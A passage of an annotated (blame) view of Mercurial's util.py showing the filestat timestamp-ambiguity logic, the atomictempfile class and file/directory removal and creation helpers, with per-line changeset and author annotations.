Mads Kiilerich <madski@unity3d.com>
parents:
30329
diff
changeset
|
1653 # avoided, comparison of size, ctime and mtime is enough |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1654 # to exactly detect change of a file regardless of platform |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1655 return (self.stat.st_size == old.stat.st_size and |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1656 self.stat.st_ctime == old.stat.st_ctime and |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1657 self.stat.st_mtime == old.stat.st_mtime) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1658 except AttributeError: |
32749
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1659 pass |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1660 try: |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1661 return self.stat is None and old.stat is None |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1662 except AttributeError: |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1663 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1664 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1665 def isambig(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1666 """Examine whether new (= self) stat is ambiguous against old one |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1667 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1668 "S[N]" below means stat of a file at N-th change: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1669 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1670 - S[n-1].ctime < S[n].ctime: can detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1671 - S[n-1].ctime == S[n].ctime |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1672 - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1673 - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1674 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1675 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1676 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1677 Case (*2) above means that a file was changed twice or more at |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1678 same time in sec (= S[n-1].ctime), and comparison of timestamp |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1679 is ambiguous. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1680 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1681 Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1682 timestamp is ambiguous". |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1683 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1684 But advancing mtime only in case (*2) doesn't work as |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1685 expected, because naturally advanced S[n].mtime in case (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1686 might be equal to manually advanced S[n-1 or earlier].mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1687 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1688 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1689 treated as ambiguous regardless of mtime, to avoid overlooking |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1690 by confliction between such mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1691 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1692 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1693 S[n].mtime", even if size of a file isn't changed. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1694 """ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1695 try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1696 return (self.stat.st_ctime == old.stat.st_ctime) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1697 except AttributeError: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1698 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1699 |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1700 def avoidambig(self, path, old): |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1701 """Change file stat of specified path to avoid ambiguity |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1702 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1703 'old' should be previous filestat of 'path'. |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1704 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1705 This skips avoiding ambiguity, if a process doesn't have |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1706 appropriate privileges for 'path'. This returns False in this |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1707 case. |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1708 |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1709 Otherwise, this returns True, as "ambiguity is avoided". |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1710 """ |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1711 advanced = (old.stat.st_mtime + 1) & 0x7fffffff |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1712 try: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1713 os.utime(path, (advanced, advanced)) |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1714 except OSError as inst: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1715 if inst.errno == errno.EPERM: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1716 # utime() on the file created by another user causes EPERM, |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1717 # if a process doesn't have appropriate privileges |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1718 return False |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1719 raise |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1720 return True |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1721 |
29298
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
1722 def __ne__(self, other): |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
1723 return not self == other |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
1724 |
8778
c5f36402daad
use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8631
diff
changeset
|
1725 class atomictempfile(object): |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
1726 '''writable file object that atomically updates a file |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1727 |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
1728 All writes will go to a temporary copy of the original file. Call |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1729 close() when you are done writing, and atomictempfile will rename |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1730 the temporary copy to the original name, making the changes |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1731 visible. If the object is destroyed without being closed, all your |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1732 writes are discarded. |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1733 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1734 checkambig argument of constructor is used with filestat, and is |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1735 useful only if target file is guarded by any lock (e.g. repo.lock |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1736 or repo.wlock). |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
1737 ''' |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1738 def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1739 self.__name = name # permanent name |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1740 self._tempname = mktempcopy(name, emptyok=('w' in mode), |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1741 createmode=createmode) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1742 self._fp = posixfile(self._tempname, mode) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1743 self._checkambig = checkambig |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
1744 |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1745 # delegated methods |
29393
50269a4dce61
atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents:
29367
diff
changeset
|
1746 self.read = self._fp.read |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1747 self.write = self._fp.write |
17237
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
1748 self.seek = self._fp.seek |
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
1749 self.tell = self._fp.tell |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1750 self.fileno = self._fp.fileno |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1751 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1752 def close(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
1753 if not self._fp.closed: |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
1754 self._fp.close() |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1755 filename = localpath(self.__name) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1756 oldstat = self._checkambig and filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1757 if oldstat and oldstat.stat: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1758 rename(self._tempname, filename) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1759 newstat = filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1760 if newstat.isambig(oldstat): |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1761 # stat of changed file is ambiguous to original one |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1762 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1763 os.utime(filename, (advanced, advanced)) |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1764 else: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1765 rename(self._tempname, filename) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1766 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1767 def discard(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
1768 if not self._fp.closed: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1769 try: |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1770 os.unlink(self._tempname) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1771 except OSError: |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1772 pass |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
1773 self._fp.close() |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1774 |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
1775 def __del__(self): |
14968
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
1776 if safehasattr(self, '_fp'): # constructor actually did something |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1777 self.discard() |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
1778 |
29394
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1779 def __enter__(self): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1780 return self |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1781 |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1782 def __exit__(self, exctype, excvalue, traceback): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1783 if exctype is not None: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1784 self.discard() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1785 else: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1786 self.close() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1787 |
31539 | 1788 def unlinkpath(f, ignoremissing=False): |
1789 """unlink and remove the directory if it is empty""" | |
31541
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
1790 if ignoremissing: |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
1791 tryunlink(f) |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
1792 else: |
31539 | 1793 unlink(f) |
1794 # try removing directories that might now be empty | |
1795 try: | |
1796 removedirs(os.path.dirname(f)) | |
1797 except OSError: | |
1798 pass | |
1799 | |
31540
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1800 def tryunlink(f): |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1801 """Attempt to remove a file, ignoring ENOENT errors.""" |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1802 try: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1803 unlink(f) |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1804 except OSError as e: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1805 if e.errno != errno.ENOENT: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1806 raise |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1807 |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
1808 def makedirs(name, mode=None, notindexed=False): |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1809 """recursive directory creation with parent mode inheritance |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1810 |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1811 Newly created directories are marked as "not to be indexed by |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1812 the content indexing service", if ``notindexed`` is specified |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1813 for "write" mode access. |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1814 """ |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1815 try: |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
1816 makedir(name, notindexed) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1817 except OSError as err: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1818 if err.errno == errno.EEXIST: |
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1819 return |
15058
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
1820 if err.errno != errno.ENOENT or not name: |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
1821 raise |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
1822 parent = os.path.dirname(os.path.abspath(name)) |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
1823 if parent == name: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1824 raise |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
1825 makedirs(parent, mode, notindexed) |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1826 try: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1827 makedir(name, notindexed) |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1828 except OSError as err: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1829 # Catch EEXIST to handle races |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1830 if err.errno == errno.EEXIST: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1831 return |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1832 raise |
18678
